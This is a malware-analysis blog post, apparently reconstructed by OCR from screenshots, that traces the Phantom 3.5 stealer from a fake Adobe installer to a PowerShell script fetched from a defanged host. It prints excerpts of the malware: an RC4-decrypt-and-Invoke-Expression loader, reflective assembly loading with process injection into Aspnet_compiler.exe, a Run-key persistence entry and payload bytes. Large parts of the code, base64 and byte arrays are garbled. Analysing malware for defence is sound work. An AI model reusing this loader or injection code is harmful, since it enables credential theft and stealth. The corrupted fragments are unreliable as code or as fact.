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Phantom, a stealer malware, sends back sensitive data like passwords, browser cookies, credit
card information, crypto wallet credentials, victim’s IP addresses, etc to the attacker. This can be
used in identity theft, account takeovers or even worse the infected machine can be used as a
tool to orchestrate bigger malware attacks.

With the increased use and vast amount of files that are available on the internet, most oblivious
users fail to differentiate between safe and malicious content they are downloading. In this blog,
we will delve into a stealer named Phantom version 3.5 and its initial vector.

This blog is targeted towards cybersecurity enthusiasts and aspiring malware researchers. It all

starts with

a file ‘Adobe 11.7.7 installer’ which in our case is obviously a fake name. It was first

submitted to VirusTotal on 29th Oct this year.

History ©

First Submission 2025-10-29 19:41:46 UTC
Last Submission 2025-10-30 10:41:47 UTC
Last Analysis 2025-10-31 11:35:58 UTC

Fig 1: Fake installer first seen

Fig 2 shows the execution flow of the malware. The file is an obfuscated .xml file with a
JavaScript embedded within. The best way to know what a file does is to execute it in a
sandbox environment. This is part of our routine analysis.

s
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Fig 2: Malware execution flow
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File Edit Event Filter Tools Options Help
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Time ... Process Name PID  Operation Path Result
2:40:3... @ wscript.exe 1772 EY Process Start SUCCESS
2.40:3... @ wscript.exe 1772 ﬁHegSeWalue HKC LM Software  Microsoft \Windows Cument VersionIntemet Settings*Z...SUCCESS
Z40:3... @B wecrpt.exe 1772 ﬁHegSetValue HEC LM Software  Microsoft Windows Cument Version*Intemet Settings*Z...SUCCESS
2:40:3... @ wscrpt.2xe 1772 ﬁHegSetValue HKC LM Software Microsoft \Windows Cument VersionIntemet Settings*Z...SUCCESS
2.40:3... @ wscript.exe 72 ﬁHegSeWalue HKC LM Software  Microsoft \Windows Cument VersionIntemet Settings*Z...SUCCESS
Z40:3... @B wecrpt.exe 1772 ﬁHegSetValue HEC LM Software  Microsoft Windows Cument Version*Intemet Settings*Z...SUCCESS
2:40:3... @ wscrpt.2xe 1772 ﬁHegSetValue HKC LM Software Microsoft \Windows Cument VersionIntemet Settings*Z...SUCCESS
2.40:3... @ wscript.exe 177, ﬁHegSeWalue HKC LM Software  Microsoft \Windows Cument VersionIntemet Settings*Z...SUCCESS
Z40:3... @B wecrpt.exe 1772 ﬁHegSetValue HEC LM Software  Microsoft Windows Cument Version*Intemet Settings*Z...SUCCESS
2:40:3... @ wscrpt.2xe 1772 ﬁHegSetValue HKC LM Software Microsoft \Windows Cument VersionIntemet Settings*P...SUCCESS
2.40:3... @ wscript.exe 1772 ﬁHegSeWalue HKC LM Software  Microsoft \Windows Cument VersionIntemet Settings*C...SUCCESS
Z40:3... @B wecrpt.exe 1772 ﬁHegSetValue HEC LM Software  Microsoft Windows*Cument VersionIntemet Settings*5... SUCCESS
2:40:3... @ wscrpt.2xe 1772 ﬁHegSetValue HKCLM Software Microsoft \Windows Cument Versionntemet Settings*5... SUCCESS
2.40:3... @ wscript.exe 1772 ﬁHegSetValue HECLMSoftware Microsoft \Windows Cument Versionntemet Settings*5... SUCCESS
2:40:3... @ wscript exe 'I : ,§TCF' Connect  7-PC:45284 - 7-PChitps SUCCESS
2:40:3... @ wscrpt.2xe 177, ..,'aTCP Send 7-PC:49284 - 7-PCihitps SUCCESS
2.40:3... @ wscript.exe 1772 45 TCP Receive  7-PC:49284 - 7-PCihitps SUCCESS
Z40:3... @B wecrpt.exe 1772 AL TCP Receive  7-PC:49284 -= 7-PChitps SUCCESS
2:40:3

2:40:3 . FakeMet - Shortcut EI@

2:40:3 Domain name: 255.2_A.18.in—addr.arpa
WX I[DNS Response sent.]

;jgg [DNS Query Received.l]

S Domain name: 2.0.0.0.1.A.0.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.0.A.A.0.8A.A.2.A._Ff_f_.i
2:40:3 pb . arpa

pFUx' B [DNE Response sent.]

éigi [DNS Query Received.]

R Domain name: positivepay—messages.com
PRUE R I DNS Hesponsze sent.]

2:40:3
2403 . . -
2.403 [Received new connection on port: 4431
PRVE R I DNS Query Received.

2:40:3 Domain name: 255. 255 255 . 2585 in—addr.arpa
XL @[ DHS Response sent.]

2:40:3 TS Query Received.]
Z40:3) Domain name: 2_.2._.8.18.in—addr.arpa
pFUx' M [DNE Response sent.]

2:40:3
2:40:3

[Received new connection on port: BH@._1]

Fig 3: Adobe 11.7.7 installer file dynamic analysis

From dynamic analysis of our installer named file we can see that it contacts the URL
hxxp[:]//positivepay-messages.com/file/floor[.]Jps1 and downloads the file floor.ps1. Looking
closely at the contents we observed that most of the code is obfuscated but some strings are
visible in plain text and it is enough to understand what it does. As you can see in the following
image, the script downloads a PowerShell script from the URL ‘hxxps[:]//positivepay-
messages.com/file/floor[.]Jps1’.

It executes the script using PowerShell with hidden attribute and bypassing PowerShell feature
that consents to the user before executing any script.
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U{0x281) =0 (Dx340), E[a0(0x28e) ]=al (Ox3Ba) , £ [AW{0x2Th) | =at{0x2Bb) , €[l ((xlaf) J="2|3|4[100", F[a0(0x313) J=a0 (0x358) , Flat{Oxlad) | =all {0x2I5h) , £[40 (Dx2
D3 ]=aU{Ox27TL), T[a0[0X31a) J="6G13|412|TI0I516I1", L[a0(0X385) J=al (0x2a4) L [AU{0ORIDT) ] =al{O0R1DE), LA (OXE2E) J=al) [(OHE0C) , S[AU(0X32L ) |=alr (D2 TEh L[ 8K
¥gD' | =au{0x236) , £ (a0 (0x38e) |=a (0xlfd) , Flav{0x208) ]=au{0x332), £ (a0 (0x283) |=aU (Ox35a) , £[*¥T=WK']="oBKED", £[aU{0x212) |=av{ix2aa), £ [a0 (fxida} ]="Copy

U{0x231), C[a0(0x234] |=aU(0R257)  FlaU{OR3IG4) |=al {0x1ad), L [a0[0x352) J=a 0 (0H27S) L[AU(0XI1ak]="YIMEV ", L[ AUELY' | =al (0x1b6) , L[aU(0x1c5) |=al (0R248) L
al (Oxibb) |=al (ix2ea), £ [aU{ixdde} | =" ABCDEFGHI JKLMHOPORSTUVHE Y Zabocde fghi  klan estuvuxyz0123456T28", flav(ix2£4) |="vELUT', £ [aU (0x342]) |=aT (ix2ed] £
AU (0x327) J=all (loc3%2) , FIatF{0OxILF) J=ali{OxIcl), £l (0x22a) |=all (Ox2da), Falf{0x235) ]="5009632vHECER"  Falf{0x22c) |=all {OxI56) , £ [al) (0xZe?) J=all (0x39c), £ [a

U{0x1fc) ]|=al (Oxlck), f[aU(0x1fh} J=al (X365}, £ [alF{0x29C) |=aU{0xZas) ivar

Fig 4: downloader

Also, we can see references to legitimate Windows executable ‘Aspnet_compiler.exe’, run
entries to create persistence, taskkill commands to kill the PowerShell process, etc.

OIt', "FolderExists', '"HEeBz', 'ONDaJ’, "ScGEm', "Euelg", 'ilxCm", 'gkhgu’, "Eynuwb', "j¥pgl’, 'ggEgQE", 'sinkR", "¥YCz£5", "zRAWWH', 'Q¥grN’, 'QxFON", "ACtbN', "GUSn
E*, "=end", "pxxiN", "UTINZ', "ENj0Ox', "ibFwd", 'p¥Mki", "2pURe", "Write', "OgTIMs", 'FIepPg", "gmban', "2Jd=sql’, "beWiM ", "=aDyQ" . "RALIJJ", "¥q0I)", "GLEpw" | ASpReT
_compiler.exe"|, "nGENL', "MIDQL’, "RIpWV' . "¥YosA', ' IRRSK', "zxjFp’, "sWjec’, "AvINA', 'Count', "bulTm*, 'KEFWz", 'myBVI', "WeOGC', 'nV¥Yrz', 'CRDYN", "Tiz "

JorK', "cSgfic’, 'QeryG’, "jHdCH', "Kngdm', ' fnEH=", 'plPIC’, "Hjeon’', "RegWrite ', "HLNTe" . "MmzR", 'bilya’', "KoZVA', "ReEzM", 'OWEsY", 'CreateFolder’, "GpAjp" . "
dJeDc", 'Ebemt", "open’, "rifpwh', "2 0800380IGIRA", 'cIBhe ", "hirew', "ExecQuery ", 'COHFK", "xNReI', "IFxit’, "nocfy”, "KEJmL" , "tkEbe', "EMFag", "EsfgT ", " HECT\x
Sdgoftware\xscMicroscf t\XScHindowWs \X5CCUrrentveraionxscRun’],  bMmGm’ , " kocuh', ' jEmmx® , ' LyHgy', "kIQvG', "uloBd*, 'WgXQP®, 'mTQON’, "I014CKOSTE" , ' XBGCR”
o "iXsTP', "sNtbv®, 'ULXLI', 'vDEND", "IpdHU', "WWShK" , ' L026tQFEVE’, " fECFV", 'JHION", 'Opguaz’, "XzZnT', "NboWY ", 'KkcEY", 'hAzPn', "pEdxd’, "Mi0", ‘bTFI..J',fE.::pa
ndEnvircnmentStrings, "XppEL', 'FSFBq", 'mgxLi®, "MSXML2  XMLUTTE', 'MsYeo®, 'tHggi', 'yWqEL', "system update.psl’, "Quit’, 'RyUS4’, 'OMDry’, *ajldj’, "OnbEY"
. "XFFos', "c¥YBIJ", 'DEpyc’, 'WWKLL', "576T02ZKEzFaL’, "JwrOB", "FUSqQL", ' JPWDN', "jQahf’, "RYeTY ", 'HVEVD", 'YWobb', "GS5xBy ', ' SELECT\x20*\x20FROM\X20Win32_Proc
cess\x20WHERE\x20Kane\ x20="x20\x27", "aYFCv', "JXNIj", 'E1gom’, 'KgDkd", " fmyRm', 'kavse', 'gJjuz’, 'teRrZ’, "fHabv', "rtMrm’, ' lvdel’, 'x£JIpR", "ssHaf', "oRfD
Bf, 'zAQUuS", "THEBGQ', "ygCmc', "EVHND®, 'GEIMN" , "XkNSS ", "TYWVL', " feBRO", 'XWask", "GYRrD', "responsaText’, " fY¥eFR", "O¥Cuh", ' 2khxF', "qmlIT', "YTHIT", ' 352JMD
if*, "weLod', "FXExI', *UHemN®, 'UHWEd®, "UuoPE'. "EMuIh’, *UKEQS', 'gMTEL®, "OviEq', *CHEQH', ' BJhmG*, 'EHWsI®, "EVDEM', "PiAWK' . 'QoInk*, '1¥TJE", "ChbbCB', "aweq
i*, 'nedRs', 'ockoe’, 'ckWoF', ' rpAjp" . 'vymEN', '£FPkYD', "ELAST', "iclDU®, 'tooGz’, ‘hEyIB', "OwkHE', 'dTojx", 'owkve', ‘Cnwml’', "Zmdsc’, 'icYjs', 'WDYcz', 'Facsj
', "ElBqu’, 'xeslE", "REG_SL', "tZZJN", 'Fosme’, 'Lgakd', "iwide', "LOxXKT", 'bFhIG", "hNim0', "TUMsh', "HbQrg"  'BEHen', "CeDLF', "t¥ile', 'KYelln®, 'sugn¥’, "oihMY
Y. 'dQLILC, 'UTRgD, "eTgvK', ‘Ndemy', ‘TvumB", ' £EMX1", "RyMin’, 'pt.‘t‘m',‘QjSPG',[' l:.a!ki'cill\xZO;"i.m\xZDmezEnell.axaqKZDfT', 'lryhs", 'cyBPD", "2dhgl’, "vWVE

Fig 5: Identifiable Strings

Looking at the PowerShell script that was being downloaded ‘floor.ps1’ as shown in Fig 6, we
see a base64 string stored in a variable.

# Encrypted PowerShell Script
# RC4A Decryption required to execute

# Encrypted data and key in Basebd format with mangled variable names

$x5fA3q9 = '3463HO6HXIBAGIKPEVKTAYmKHv e TdAv B+ EEBAP LDty SB0eIXtdd081 zovFxbapdFTXgIhpiGnlgYBa2RAWPngmWEK t 18046 Qyz 26 90winauddg TRET
z+kkrdPT ) iwlboCF IXj++AiaSd+ AphQUtbma2v9d98avuF eCIVS1 JFWilUdu 1 1 ExOLXGZ re¥Vju2dF I TweQybZGSrprr /DvB1 /C11 /i IBX2L kQGEgVkeGhY akOMEHRC B
F1F5wTIpYe3IxvhohQczDrzalsW/ fZ1pl SZ145hFRNoIMhpWOrnBuly z feDlUbskKh2 +BaABxvIwbSUOT /X7ITISvnQhl im9khhiSve S1IHEINBUYQkdooFNHaC g t9K1b1cF
y1dBcfKmp8sfltdPgQSE+mqET /SDERHLS ratwX89kT940wgleF R1B1Pe16d9X ] bgNHAYFAMBgELU s 1HKLy AMFr§c THKQgPUGoBHra9igi tbsMyEudbe 17MBY LwiNFd s QP
ac2dcBKIEHaWVFHRVpmuFpt4/EnC187g4t0h@V/ JH17FDSKUIWWMI / 2F 15elLYDi2xeEWDRU /NBezhnBI9 1 LMInFGXdeat S5ul/yF2UGj1VEqE3TWk14GZz4MVpT s sKebll
aysLuboTlkSHa+ede2 DXXIGRIVEItgl178x/10u2 12755 7n/dBkOneLHglxU{UACAdh Xz IPKmhXy 291 v8 JWe%kD / qyf /NeSaBvYwo T tHIvSykYplds a7+ 0y 8 5hxk rKDE
yYML1gAQ58vqrDMkS /UZIWN2+CNFVE TEroXdqd /MHQBDEwU /Ny /DKB2Y L zPjjw/ IXd F7£IH21 /bSXCDrcGSWEXe FUVMKk 5600 j axxGnlkqREPCrF++-AlgmG YW1 gzbfHavX+
FH2SnE3boHTuF1Fs3AVFa2BR+MPmnkKSERSCAIEP 2duZMOY 11 sW1BVETReoMa 70UVEVD14Hg IMCTEGFNLRP aY aWFvQ1hLb8 /xYLCBd2Kz e/ Zmrw2 BPWE LKhuwZ 17 10NR
P/ L++n9MpFjplBes 3x2y@Cumk tBE+ SMMzy E9KQbpk z 7Qck 7M3vgal Ted 1bryGOUR TVwd +vNT 6+ Wf AV V/ 1k Luis plilaMVP 1 oDSVINGVEIBE ] 5d 1L p J8mE tzxww /bC
EcHOpDxkYL+4YVd6uek /REXUBVLEJUTtH{FUNQy SP /5 / naLbbVWY 7 zHZ pdGB twi 2PdASHF c 30r-fbc Fg I FxYZLOSyKIw3SRWUvxGZ 2eaZ aUMNEPyORULOh{z1+WEZaleR

Fig 6: base64 string

This base64 string seems to be RC4 encrypted data. So probably we will find a key somewhere.
After scrolling and crashing Notepad++ a few times we reach the variable where the key is
stored.
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|$}-;8rTm2 = "WY¥Lugl3gtZMGA=z1Al14UNfg=—=" |

f Convert Base@4 strings to byte arrays
function Convert-Basetd4ToBytelkrray |
param|[string] Shex3tr)

fbhytelrr = [System.Conwvert]::FromBase64String (ShexStr)
return Sbhytelrr

SencData = Convert-Base&dToBytelirray —hexStr $x5fR3gh
SkeyBE = Convert-Baset4ToBytelrray —hexStr SkErTmZ

f RC4 Decryption function with mangled names
function Invoke-RCO4M |
param |
[byte[]]$DataXx,
[byte[]]5ReyY

# Initialize 3 array

S5arr = New—Object byte[] 25&

for ($ind = 0; Sind -1t 256; Sind++) |
Eahrr[8ind] = Sind

f Eey scheduling algorithm (ESZ)

£ival = 0
for (Sind = 0; Sind -1t 256; Sind++) |
59val = (59Val + S8frr([$ind] + SEey¥Y[Sind % SEeyY.Lengthl])

# Swap 3[1] and S5[7]

Stemp = S$8Arr[$ind]
SShrr[5ind] = S$8Arr[5]Val]
£8nrr[5iVal] = Stemp

% 256

—t

# Pseudo-random generation algorithm (PRGZ)
fresult = New-Object byte[] $Data¥.Length

Fig 7: RC4 key and decryption

As we can see the key is in base64. We can use the same script to decode and decrypt the

contents or use CyberChef as it is easier. The script executes the decrypted script as shown in

Fig 8.
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# Decrypt and execute the script

FdecScript = Decrypt-RCdData -encData fenclata -keyE $keyb

if {($decScript) {
# Execute the decrypted script
Inwvoke-Expressicn fdecScript

}
else {

Write-Error "Failed to decrypt the script using RC4™
!

Fig 8: Executing decrypted script

Let’'s move on with the decryption. We can search RC4 in CyberChef’s operation tab. Drag it to
the Recipe tab, put the key as it is in the passphrase box and select it as base64. The
InputFormat box needs to be selected as base64. Copy the base64 string from the script file
and paste it in the input box and voila! We have the decrypted script. We will save the script and

analyse it now.
The decrypted script looks like this:

function Invoke-ManagedAasembly {
param|
[Byte[]]#RewAssexkblyBytes,
[atring] §TargetIypeame
[scring) §TargetMechodName,
[ebject [] ] éMethodArguments

try {
# Load assembly into current application domain
#loadedhssembly = [System.Beflection.Assembly]::Load(fRawheszenblyBytes)

# Get the specified type from the loaded assembly
ftargetlype = §$lcadedhssembly.GetType (fTargetlypeName)

# Configure binding flags for static public methods

thindingAttributes = [System.Reflection.BindingFlaga)::Public —bor [System.Beflection.BindingFlags]::Statie

# Betrieve the method information
srargectMechod = $rargecType.GertMethod (§TargetMethadiame, Sbhindinglrcributes)

if (fnull -eqg §tacgetMethod)
Write-Warning "Mathod '"§TargetMethodiName' not found in type '§TargetIypeNams'™

return $null

)

# Invoke the static method with provided argumsnts
recurn jcargetMethod.Invoke ($null, £MethodRrguments)
}
catch {
Hrite=-Errar "Assembly method invocation failed: §(§_.Exception.Message)™
recurn $null

]

function Test-ProcessBbaent |
param( [string] §ProcessName)

jprocesaExists = Get-Process -Name $Processiame -Errorlction SilentlyContinue
return (-not SprocessExists)

}

# Main monicoring and execution routine
function Start—MonitoringRoutine {
paranm(|
i [stzing] $MonitorProcesaName = "Rspnet compiler™,
[int]5CheckIntervalSeconds = 5

)

do {
if (Teat—Proceaslbsent —ProcessMName SManitorProcesasdame)
# Decode the baseéd encoded assembly

_ Fig 9: Decrypted script
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After decryption we see a lot of interesting stuff going on.
We see ‘{System.Reflection.Assembly}::Load($RawAssemblyBytes)’. So basically, .NET

Common Language Runtime reserves an isolated memory space called managed AppDomain.

In this script, RawAssemblyBytes is directly loaded in this memory region. This technique is
very common for malwares to evade detection.

It then checks ‘Aspnet_compiler’ if the process is running. It checks it at 5s intervals.

There are base64 encoded strings we can see in Fig 10. Now we copy the base64 string and

decode it. On decoding it turns out to be a PE file. Loading this file into CFF explorer, we see it

is a .NET file and it is a dll as shown in Fig 11 and Fig 12. On loading it in DIE we can see it is
obfuscated.

do {

if (Test-ProcessAbsent -ProcessName SHonitorFrocessMame) |

# Decode the basefd encoded assembly

SdecodedAs=emblyBytes =
[System.Convert] :: FromBasefdString [ TVQOARMARRAERARIA/ / SAAL AR AR AR AR AR AR AR AR AR R A AR RARR AR ARR AR AAR AR AR AR AR GARAIAL Fugd At AnNT
baRTHIEVShpeyBweminemPt I GMhbmSvACE L 50y AW d gaRd40E 9T 16 L vt bo 0B JARARARARABOAOAAT AE DA S dwi AT AARAAAAAARARAD L ELAT AAR FARARA SRR AARA v E AR

hghhhhghhhRRBRRRAJRARAAGARBRAARRARARAACARRARARRRADARARRAGAARRAARAMAY TUARBARABARRARAERARERRARARARBARARRARRRARRARREBVARBLRARAR T ARRHODRAR
RARRRRARBARRARLARRARPRRARNARR AWARRA S DWAAHARRARARRRRARRARRARARARRAR AR AR AR RARAR AR RARAARARARRARRRRATARRCRARAARARRRAARRRCCARAEJARARARRAR
AR RS L R AR R AR R A R A A A R R TR A A A A R R R R AR R AR R R Y WA AR DR AR g R A A DR R R S AR R A R AR AR A R AR AR EAAARA TN T DE ] RARMARARRERAE
RACRARAV AR AR AR R AR AR R AR R OTRR AR AR R AR R AR AR JoWARARARAEQRRRA CARUACERARARAURAARRRARRARRARHRAUARCAARARARARRARRARARRARARRARARRARAR
RARRARARRARARARRARRARARAARARY QRARAFKAEARR Y QAENWAWA TARARAQARECRPRCgDRARGINECBRARE T ARERARACERAEARA COAGARCUEBRARALT I QARRARE L ORGTRMABCKARRCRAR
RIACARADHDRKAOARARADHDEKARQKARAE PARARDR KAALE TARBNCQAA ZWwkARMS TAARTARARNAKAAT CJARA S SgRARBECOC T TRARGRGAARH SCARAEe ZEARADSL/ // YT gRARRATLS
/F{ I DODTARRGRQARAHECARAER J0RRAQEK/ / / / yYQRQRAADLT/ f / fARB+CgARBRAI+HAWAACH A ERARKf gQARRCH I AQARAR +ERARCH]SAh ITby BARAYW, JETESANARARCAGAAAT+D
AUARSEARADZ AGRALARAAFC HRAC S EARREQMAA DS EARCWAGAR twRAR T o FRAD 2 AWARA T AAECARAPARAR AW ARE (I AABMATAA S g CARE REARAR A AAB AR PWRARA FRLAAT JOARS
QERACH AR T AARACWCARARRS AR W UARE Y ARAD BB AN W ERART O FAREV A AR 2 g AAST B DA DERAIAY AE AN DB AR EARARWWHAAN 4 DARA S Buidi g LARER DANR L AGRADO4 CAIAA GRE
AADG S RWARAERDELGORACARARAROCE/ / / D2 BORARACRARODEBARA I AAERRHMFRARK R EE T PGRARBYEW D My YRRRY TCYRMARAROED+ / / 9 P BORRACHCAED 0 FRFGTDT ) uB QA FEMa TCAR

Fig 10: Encoded base64
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File Settings 7

2§

cfdBlZdadf 35ciedoadfc b2 Bhaaf /V 2_b64 decoded.dat

= [= File: 2_b64 decoded dat
— (=] Dos Header

[Z] Mt Headers

[=] File Header

[Z] Optional Header

[2] Data Directories [x]
— (=] Section Headers [«]

— |2 Import Directory

— | Resource Directory

— |3 Relocation Directany

— |3 Debug Directory

[ .NET Directory
[Z] MetaData Header
=1 (=] MetaData Streams

= g
[=] Tables Header
[ Tables

— (=] #5tings

— [E #US

— (& #GUID

L— 2] #Blob

— '*Eﬂddm Converter
— %, Dependency Walker
— %, Hex Editor

— A, Identifier

— % Import Adder

— , Quick Disassembler
— 4, Rebuilder

— '*1_}, Resource Editer

Property Value

File Mame 2_bbtd decoded.dat
File Type Portable Executable 32 MET Assembly

File Info Microsoft Visual Studic NET

File Size 22,00 KB (22528 bytes)

PE Size 22,00 KB (22528 bytes)

Created Wednesday 05 Movember 2025, 16.54.23
Modified Wednesday 05 Movember 2025, 16.54.23
MAccessed Thursday 06 Movember 2025, 17.44.15

MD35 2BESFEAFAT14EESE0TDEBBCSARECADI2

SHA-1 B6B55EFFBEE238161EF34AGG026FED1 E482555E4
Property Value

Comments

CompanyMame

FileDescription
FileVersion
InternalMame
LegalCopyright
LegalTrademarks
OriginalFilename
ProductMame

ProductVersion

Fig 11:

BLACKHAWE
1.0.0.0
BLACKHAWK.dII
Copyright ©@ 2025

BLACKHAWEK.dII
BLACKHAWEK
1.0.0.0

.NET file

7/27



' CFF Explorer VI - [2_b64 decoded.dat]

File

Settings 7

% B

R

(=] Mt Headers

(2] Optional Header

2 [= File: 2_b64 decoded dat
—— (=] Dos Header

(2] Data Directories [x]

— (=] Section Headers [x]
— hlmpurt Directorny
—— |.7) Resource Directony

— I Relocation Directony
—— |C3) Debug Directory

AEE.NEI' Directory

5] =] MetaData Streams

(= #~
4% [2] Tables Header
[=7 Tables

(2] MetaData Header

— =] H5trings
— (=l #US
— [E #GUID

=1 azra 2

Oabec12a0aTE8f 1 3a=0d 3cdiTodd2

Fig 12: BLACKHAWK.dII

Mernber Offset Size Yalue
Machine 00000034 Word -
MumberOfsections | 00000026 Word 0003
TimeDateStamp 00000023 Dword D2F170F7
PointerToSymbolTa... | D000008C Dword 00000000
MumberOfSymbeols | 00000030 Dword 00000000
SizeQfOptionalHea... | 00000094 Word 0OED
Characteristics
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| Detect It Easy v3.10 [Windows 10 Version 2009] (x86_64) —
File name
= 2_bbd decoded.dat
File type File size Base address Entry point
PE32 - 2200 KiB 00400000 00406fbe o
O File info 2 Memory map | |[E Disasm | | EE Hex [=] Strings Signatures | | > | VirusTotal
'5 MIME k=] Visualization £ Search #Hash %Entrup}r " Extractor {1 vara
Ore Export | |%llmport || Resources || €* NET | (i:TLS | [ Overlay
Sections METID Size of image Resources
0003 ) d2f17067 0000c000 Lu, Manifest () Version
1
| Sean Endianness Mode Architecture Type
Automatic - LE 32-bit 1386 DLL
= PE32
Operation systerm: Windows(93)[1386, 32-bit, DLL] 5 7
Linker: Microsoft Linker 5 7
Language: C# 5 i
Library: MET Frarneworki{v4.5.2, CLR v4.0.30319) 5 7
Tecol: Visual Studic 5 ?
Protector: \MET Reactor{8.X)[Contral Flow] 5 7
(Heur)Protection: Obfuscation[CLR constructor + Fake .cctor name] 5 7
= Debug data: Binary[Offset=>0x3148, 5ize=0x 26]
Debug data: PDE file link{7.0) 5 7

Fig 13: Obfuscated dll

Since the .NET file is obfuscated we won’t waste time de-obfuscating the whole file. Rather if
we go to the User-Strings #US for the file, we can see some interesting strings in Unicode
format. WriteProcessMemory, VirtualAllocEx, ResumeThread,etc are names of some of the

Windows API functions that programs use to write data into a running process’ memory region.

Malwares typically uses these functions to perform Process Injection.
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F/g 14: Notable str/ngs in DLL

Moving on to the next set of instructions in the decrypted script. We can see it saves the full file
path for Aspnet_compiler.exe into a variable, passes it and a variable called ‘ExecutionPayload’

as parameters to the main method which is ‘Invoke-ManagedAssembly’. This
‘ExecutionPayload’ variable contains binary for a PE file.

§ Define the target framework tocl path
SframeworkToclPath = 'C:\Windows\Microsoft . NET\Frameworkiv4.0.30315\Aspnet_compiler.exe"'

¥ Prepare method invocaticon parameters

|5invoca:inn?a:amete:a = [cbject[]]@(SframeworkTooclPath, S5ExecutionPayload)

¥ Execute the assembly method

fexecutionBesult = Invoke-Managsdhssembly -RawRssemblyBytes SdecodedRssemblyBytes ©
-TargetTypeName °BLACKHAWE.DOWN' °
-TargetMethodName "SHOOT'

=MethodArguments SinvocationParameters

§ Update payload for next iteration

Of f=et o1 2 3 4 5 & 7 8 9 & B C D E F Adzcil

pooooooo | oo 11 6B 00 &5 00 72 00 &E 00 &5 00 &C 00 33 00 Ok e.r.n.e.1.3.
pooooolo | 32 00 00 25 &% 00 72 00 69 00 74 00 65 00 50 40 2..%5W.r.1.t. e F.
pooooozo | 72 00 6F 00 &3 00 &5 00 73 00 73 00 4D 00 65 040 roce.s.zs.Me.
pooooo3o | 6D 00 6F 00O 72 00 79 00 00 2B 5% 00 &F 00 77 00 mor.y. . +W.o.w.
poooood4o | 3e 00 34 00 47 00 &5 00 74 00 54 00 68 00 72 00 £.4.G. e t. T.h r.
goooooso [ e5 00 61 00 64 00 43 00 6F 00 6E 00 74 00 &5 00 g.a.dCon.t.e.
poooooen | 7@ 00 74 00 00 OB eE 00 74 00 64 00 6C 00 &C OO0 . t. On.t.d.1.1.
pooooo?o | oo 29 S5A 00 77 00 55 00 eE 00 6D 00 61 00 70 40 AJZ.w T nma.p.
poooooso | 56 00 &9 00 &5 00 77 00 4F 00 &6 00 53 00 &5 00 View0f.5e.
poooooso | 63 00 74 00 &9 00 eF 00 eE 00 00 2B 57 00 &F 00 c.t.i.omn. 4+W.o.
poooooAn | 77 00 36 00 34 00 53 00 65 00 74 00 54 00 68 00 w.6.4.5. 2. t. T .h.
poooooko | ?2 00 65 00 &1 00 &4 00 43 00 6F 00 6E 00 74 00 r.eadComn.t.
poooooco | 65 00 78 00 74 00 00 21 53 00 65 00 74 00 54 00 ex.t.. 15t T.
goooooDo | ed 00 72 00 65 00 el 00 64 00 43 00 &F 00 6E 00 h.r.e.a.dCon.
poooooEo | 74 00 65 00 78 00 74 00 00 1D 43 00 72 00 &5 00 t.ex.t.. C.r.e.
goooooFo | 61 00 74 00 &5 00 50 00 72 00 6F 00 63 00 65 OO0 a.t.ePr.oce.
pooooloo | #3 00 73 00 41 00 00 1D 56 00 &9 00 72 00 74 00 == 4 . V.i.r. t.
ooooollo | 75 00 61 00 eC 00 41 00 eC 00 6C OO0 6F 00 &3 00 na.ldlloc.
ooooolzo | 45 00 78 00 00 19 52 00 65 00 73 00 75 00 6D 40 Exz DR e.z.umn.
pooool3o | 65 00 54 00 &8 00 72 00 65 00 61 00 64 00 00 23 e T hr.ead ¥
poooold4o | 52 00 65 00 61 00 &4 00 50 00 72 00 6F 00 63 040 ReadPr.oc.
ooooolso ( e5 00 7?3 00 73 00 4D 00 65 00 6D a0 &F 00 72 00 e.s.=.Henor.
ooooolen | 79 00 00 21 47 00 65 oo ?4 DD 54 DD EE DD 7200 v. . !G.e.t. T.h.r.

[Byte[]]5ExecutionPayload =
{77,850, liir ,3;0; 0,4,0, 0 54,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
o,0,0,0,0,0,0,0,0,0,0,0, 33,184,1,76, 2 5,33,B84, l 4 1E5 115, 32, :_;,1_5,11_
103,114,97,109,32,599,97. 17,110,32,105,110,32,68,79,83,32,10%,111,100,101, 4
13 13 10,36, 0 .,0,0,0,0,0,8( '93.C.0,Q.ﬂ.0,:,0,0,3¢1 31 1 11,1, 4: 0,?.:u2 11,
g,0,8,0,0,0,0,0,0,126,132, .,32,0,0,0,2,0,0,4,0,0,0,0,0,0, ) o,0,0,0,
224,11,0,0,2,0, 0D 0,0,0,2,0, ,16,0,0,16,0,0,0,0,0,0,16,0,0, 0, 36,
132,11,.0,87,0,0,0 0 1€0,11,0 .0,0,0,0,0,0,0,182,11,0,12,0,0 B 0,28,0,0
.:,D,D,D,D,D,U,U,L,D,u,ﬂ,_,:,G,ﬂ 0,0,0,0,0,0,0, ,a,0,0,0,0,0,0,0,0,0,0,0,0,32 0,8, ,0,0,0,
,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0, 4, 116, 1¢ 1s,0,0,0,132,100,11,0,0, 32,0,0, 0, 102,11,0,0, 2,0, 0
0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96, 46,114, 1¢,99,0,0,0.140,5,0,0,0,160,11,0,0, 6,0, 0, 4,11,0,0,0,0,0,0
0,0,0,0,0,0,0,64,0,0,64,46,114,101, _09 111,95%,0,0,12, ﬂ ,0,0,1%2,11,0,0,2,0,0,0,110,11,0,0,0,0,0,0,0,0,0,0,0
,0,%4,0,0,%6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,%6,132,11,0,0,0,0,0,7V2,0,0,0,2,0,5,0,20,177,6,0,244,210,2,0,1
0,0,0,250,1,0,6,252,5,2,0, 208, 143.6.0.0,0 c,:,:,:,:,a,:,c,o,:,c,a,:,a,a,a 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
~0,0.0,0,0,26,40,15,3,0,6,42,30,2, 143 2,2,3rlj,%2,u,,ﬂ,-23.3.?.ﬂ,1ﬂ,42,3 123,4,0,0,10,42,30,2,123,5,0,0,1
0,42,30,2, l¢3,6rir7,10,42,3:,2,l 3,7,0,0,10,42,30,2,123, (0,10,42,30,2 123 %,0,0,10,42,30,2,123,10,0,0,10,
42,320,2,123,11,0,0, 10, 42,0, 18, 48,2,0, 84, 0, :,:,:,c, ,_,2,4:,_2 9,0,10,2,3, 12:,‘,J,c,1_,2J4,125,3,0,:,10,2,5,:
35,4,\'),'3,10,2,‘.4,4 125,5,0,0,10,2,14,5,125,6,0,0,10,2,14,6,125,7 C' 0,10,2,14,7,125,8,0,0,10,2,14,8,125,9,0,0
